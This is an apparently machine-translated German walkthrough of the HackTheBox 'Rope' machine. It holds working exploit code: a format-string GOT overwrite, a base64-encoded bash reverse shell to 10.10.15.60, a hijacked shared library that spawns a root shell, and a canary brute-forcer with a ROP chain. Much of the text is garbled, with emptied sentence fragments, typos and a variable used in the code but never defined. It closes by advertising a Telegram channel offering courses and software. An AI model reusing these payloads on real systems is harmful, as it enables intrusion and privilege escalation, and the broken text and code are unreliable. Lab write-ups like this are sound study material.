Ich veröffentliche weiterhin Lösungen, die zur weiteren Verarbeitung von der HackTheBox- Site gesendet wurden .In diesem Artikel sammeln wir viele, viele pwn, die wir mit pwntools lösen werden. Ich denke, es wird für Leser mit jedem Bekanntheitsgrad in diesem Thema nützlich sein. Los geht's ... DieVerbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in ein privates Netzwerk mit Personen gelangen, die etwas auf dem Gebiet der Informationssicherheit wissen :)Organisationsinformationen, ,
Telegram . , ,
.
. , - , .
Aufklärung
Dieser Computer hat eine IP-Adresse vom 10.10.10.148, die ich zu / etc / hosts hinzufüge.10.10.10.148 rope.htb
Zuerst scannen wir offene Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 500 Paketen pro Sekunde.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500
Für detailliertere Informationen zu den Diensten, die an Ports ausgeführt werden, führen wir nun einen Scan mit der Option -A durch.nmap -A rope.htb -p22,9999
Der Host führt SSH und einen Webserver aus. Wir gehen ins Internet und werden von einem Autorisierungsformular empfangen.
Beim Anzeigen eines Verzeichnisscans erhalten wir ein nicht indiziertes Verzeichnis / (http: //rope.htb: 9999 //).
Und im Verzeichnis / opt / www finden wir die ausführbare Datei - das ist unser Webserver.
HTTPserver PWN
Laden Sie es herunter und sehen Sie, was Schutz mit checksec ist.
Somit haben wir eine 32-Bit-Anwendung mit allen aktivierten Schutzfunktionen, nämlich:- NX (not execute) — , , , ( ) , , , . .
- ASLR: (libc), libc. ret2libc.
- PIE: , ASLR, , . .
- Canary: , , . , . .
Aufgrund der Tatsache, dass wir Dateien auf dem Server lesen können, können wir die Prozesszuordnung dieser ausführbaren Datei lesen. Dies gibt uns die Antwort auf die folgenden Fragen:- Unter welche Adresse wird das Programm heruntergeladen?
- Und an welcher Adresse werden die von ihr genutzten Bibliotheken geladen?
Lass uns das tun.curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'
Wir haben also zwei Adressen: 0x56558000 und f7ddc000. Gleichzeitig erhalten wir den Pfad zur verwendeten libc-Bibliothek und laden ihn ebenfalls herunter. Unter Berücksichtigung aller gefundenen Informationen erstellen wir nun eine Exploit-Vorlage.from pwn import *
import urllib
import base64
host = 'rope.htb'
port = 9999
context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000
libc_base = 0xf7ddc000
Öffnen Sie nun die Datei selbst zur Analyse in einem für Sie geeigneten Disassembler (mit einem Dekompiler). Ich verwende IDA mit einer Reihe von Plugins und bevor ich mich zu einer eingehenden Analyse hinsetze, sehe ich lieber alles, was ich für bewährte Plugins sammeln kann. Eine davon ist LazyIDA . Und für die Abfrage "Scan Format String Vuln" erhalten wir eine Platte mit potenziell anfälligen Funktionen.
Aus der Erfahrung mit diesem Plugin habe ich sofort auf die zweite Zeile (ihren Formatparameter) aufmerksam gemacht. Wir gehen zum Verwendungsort dieser Funktion und dekompilieren sie.
Und Vermutungen werden bestätigt, die Zeile wird einfach an die Funktion printf übergeben. Lassen Sie uns herausfinden, was diese Zeichenfolge ist. Gehen wir zum Ort des Aufrufs der Funktion log_access.
Wir interessieren uns also für den dritten Parameter, der die IDA als Datei markiert hat. Antworten auf alle Fragen erhalten wir nur, wenn wir uns die Querverweise auf diese Variable ansehen.
Dies ist also ein Zeiger auf eine Zeichenfolge - den Namen der Datei, die zum Lesen geöffnet wird. Da diese Variable das Ergebnis der Ausführung der Funktion parse_request () ist, die Datei zum Lesen geöffnet wird und das gesamte Programm ein Webserver ist, können wir davon ausgehen, dass dies die auf dem Server angeforderte Seite ist.curl http://127.0.0.1:9999/qwerty
Lassen Sie uns die Sicherheitsanfälligkeit bezüglich Formatzeichenfolgen überprüfen.curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')
Fein! Definieren wir den Offset (wie viele% p-Spezifizierer müssen gesendet werden, um 0x41414141 - AAAA am Ende der Ausgabe zu erhalten).
Wir bekommen 53. Überprüfen Sie, ob alles korrekt ist.curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')
Wir können keine lokale Shell erhalten, aber wir können einen Befehl ausführen, z. B. eine umgekehrte Shell auslösen:bash -i >& /dev/tcp/10.10.15.60/4321 0>&1
Um unangenehme Zeichen zu vermeiden, werden wir sie in base64 codieren. Der Shell-Aufruf sieht dann folgendermaßen aus:echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i
Ersetzen Sie am Ende alle Leerzeichen durch das Konstrukt $ IFS. Wir erhalten den Befehl, den Sie ausführen müssen, um die Rückverbindung herzustellen.echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i
Fügen wir dies dem Code hinzu:offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))
Nun zurück zu unserer Formatzeichenfolge. Da Putsf nach printf () aufgerufen wird, können wir seine Adresse in GOT von libc in die Adresse der Systemfunktion umschreiben. Dank pwntools ist dies sehr einfach. Angenommen, Sie können die relative Adresse der Puts-Funktion mit binary.got ['Puts'] abrufen, auch einfach mit der Funktion system: libc.symbols ['system']. Über Formatzeilen und GOT habe ich in Artikeln über pwn ausführlich beschrieben, daher sammeln wir hier einfach die Formatzeile mit pwntools:writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)
Wir sammeln die endgültige Nutzlast:payload = shell + " /" + urllib.quote(format_string) + "\n\n"
Wir verbinden und senden:p = remote(host,port)
p.send(payload)
p.close()
Der vollständige Code sieht so aus.
Lassen Sie uns den Code ausführen und Backconnect erhalten.

BENUTZER
Lassen Sie uns die Sudo-Einstellungen überprüfen, um Befehle ohne Passwort auszuführen.
Und wir sehen, dass Sie Readlogs im Namen des Benutzers r4j ausführen können. Es gibt keine Schwachstellen in der Anwendung, GTFOBins fehlen ebenfalls. Sehen wir uns die von der Anwendung verwendeten Bibliotheken an.
ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"
Das heißt, wir können in diese Dateien schreiben. Schreiben wir unsere Bibliothek.#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
void printlog(){
setuid(0);
setgid(0);
system("/bin/sh");
}
Jetzt kompiliere es.gcc -c -Wall -Werror -fpic liblog.c
Und sammle die Bibliothek.Gcc -shared -o liblog.so liblog.o
Dann laden wir die Datei auf den Host hoch, überschreiben die Bibliothek und führen das Programm aus.
Also nehmen wir den Benutzer.WURZEL
Um das System aufzulisten, verwenden wir Linpeas.
Auf dem lokalen Host lauscht also Port 1337.
Wie Sie sehen können, ist unser Benutzer Mitglied der Adm-Gruppe. Werfen wir einen Blick auf die für diese Gruppe verfügbaren Dateien.
Es gibt eine interessante Datei. Und dies ist das Programm, das den Port abhört.
In diesem Fall wird die Anwendung als root ausgeführt.
Laden Sie die Anwendung selbst und die verwendete libc-Bibliothek herunter. Beachten Sie, dass ASLR auf dem Host aktiv ist.
Überprüfen Sie, welchen Schutz die Anwendung hat.
Alles maximal. Das heißt, wenn wir einen Pufferüberlauf finden, müssen wir den Kanarienvogel (den Wert, der vor dem Beenden der Funktion überprüft wird, um die Integrität des Puffers zu überprüfen) brutal behandeln. Als Technik zum Ausnutzen der Sicherheitsanfälligkeit verwenden wir ROP (über das ich ausführlich geschrieben habe)hier ). Öffnen wir das Programm in einem beliebigen Disassembler mit einem für Sie geeigneten Dekompiler (ich verwende IDA Pro). Wir dekompilieren die Hauptfunktion main.
Ein Beispiel für einen Kanarienvogel ist die Variable v10, die am Anfang einer Funktion gesetzt wird. Mal sehen, wofür die Funktion sub_1267 verantwortlich ist.
Hier öffnen wir also den Port zum Abhören. Sie können es in is_listen () umbenennen. wir gehen weiter Die folgende benutzerdefinierte Funktion ist sub_14EE.
Vor dem Senden gibt es eine andere Benutzerfunktion. Wir sehen sie an.
Somit wird in dieser Funktion eine Zeichenfolge von bis zu 0 × 400 Bytes empfangen und in den Puffer geschrieben. Der Kommentar zur Variablen buf gibt die Adresse relativ zur Basis des aktuellen Stapelrahmens (rbp) - [rbp-40h] an, und die Variable v3 (kanarisch) hat eine relative Adresse [rbp-8h]. Für den Pufferüberlauf benötigen wir also mehr [rbp- 8h] - [rbp-40h] = 0x40-8 = 56 Bytes.Somit ist der Plan wie folgt:- den Puffer finden und überlaufen lassen;
- lege den Kanarienvogel nieder, rbp und zerreiße;
- Da PIE aktiviert ist, müssen Sie den tatsächlichen Versatz ermitteln.
- Suchen Sie einen Speicherverlust, um die Adresse zu berechnen, unter der die Bibliothek geladen wird.
- Sammeln Sie ROP, in dem der Strom von Standarddeskriptoren zum Netzwerkdeskriptor des Programms umgeleitet wird, und rufen Sie dann / bin / sh über die Systemfunktion auf.
1. Pufferüberlauf
Wie unten zu sehen ist, arbeitet das Programm beim Übertragen von 56 Bytes normal weiter, aber beim Übertragen von 57 Bytes erhalten wir eine Ausnahme. Somit wird die Integrität des Puffers verletzt.
Lassen Sie uns eine Exploit-Vorlage erstellen. Da viel sortiert und erneut verbunden werden muss, wird die Ausgabe von pwntools-Nachrichten (log_level) deaktiviert.
from pwn import *
HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')
pre_payload = "A" * 56
r = remote(HOST, PORT)
context.log_level='info'
r.interactive()
2.Canary, RBP, RIP
Wie wir herausgefunden haben, befindet sich nach 56 Bytes des Puffers ein Kanarienvogel und danach befinden sich RBP- und RIP-Adressen auf dem Stapel, die ebenfalls aussortiert werden müssen. Schreiben wir eine 8-Byte-Matching-Funktion.def qword_brute(pre_payload, item):
qword_ = b""
while len(qword_) < 8:
for b in range(256):
byte = bytes([b])
try:
r = remote(HOST, PORT)
print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
send_ = pre_payload + qword_ + byte
r.sendafter(b"admin:", send_)
if b"Done" not in r.recvall(timeout=5):
raise EOFError
r.close()
qword_ += byte
break
except EOFError as error:
r.close()
context.log_level='info'
log.success(f"{item} found: {hex(u64(qword_))}")
context.log_level='error'
return qword_
So können wir pre_payload zusammenstellen:pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")
3.PIE
Jetzt beschäftigen wir uns mit PIE. Wir haben RIP gefunden - dies ist die Absenderadresse, an die wir von der Funktion zurückkehren. Somit können wir die Rücksprungadresse im Code davon abziehen.
Somit beträgt der Versatz von der Basis 0x1562. Geben Sie die tatsächliche Adresse der laufenden Anwendung an.base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')
4. Speicherleck
Die Anwendung verwendet die Standardfunktion write (), um die Eingabeaufforderungszeichenfolge anzuzeigen, die ein Handle für die Ausgabe, einen Puffer und deren Größe verwendet. Wir können diese Funktion verwenden.Verwenden Sie der Einfachheit halber das ROP-Modul von pwntools. Kurz gesagt, wie und warum dies funktioniert, sehen Sie im Bild unten.
Lassen Sie uns ein Leck bekommen, dies wird uns wissen lassen, welche Adresse die Schreibfunktion in der geladenen libc-Bibliothek hat.rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())
r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']
5.ROP
Lassen Sie uns die Basisadresse der libc-Bibliothek ändern und die Adresse der Zeile / bin / sh ermitteln.libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))
Es bleibt die ROP zu sammeln, in der die Standard-E / A-Deskriptoren (0,1,2) an den im Programm registrierten Deskriptor (4) umgeleitet werden. Danach wird die Systemfunktion aufgerufen, wo wir die Adresse der Zeile / bin / sh übergeben.rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)
payload = pre_payload + flat(rop_libc.build())
r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")
6. OperationVollständiger Exploit-Code.
Schreiben Sie nun auf dem Server den SSH-Schlüssel in die Datei /home/r4j/.ssh/authorizef_keys.
Und leiten Sie den Port weiter (stellen Sie sicher, dass die Verbindung vom lokalen Port 1337 über SSH zum Port 1337 des Remote-Hosts umgeleitet wird).ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb
Und starten Sie den Exploit.
Wir arbeiten unter der Wurzel.Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, zusammengeführte Kurse sowie Software. Stellen wir eine Community zusammen, in der es Menschen gibt, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.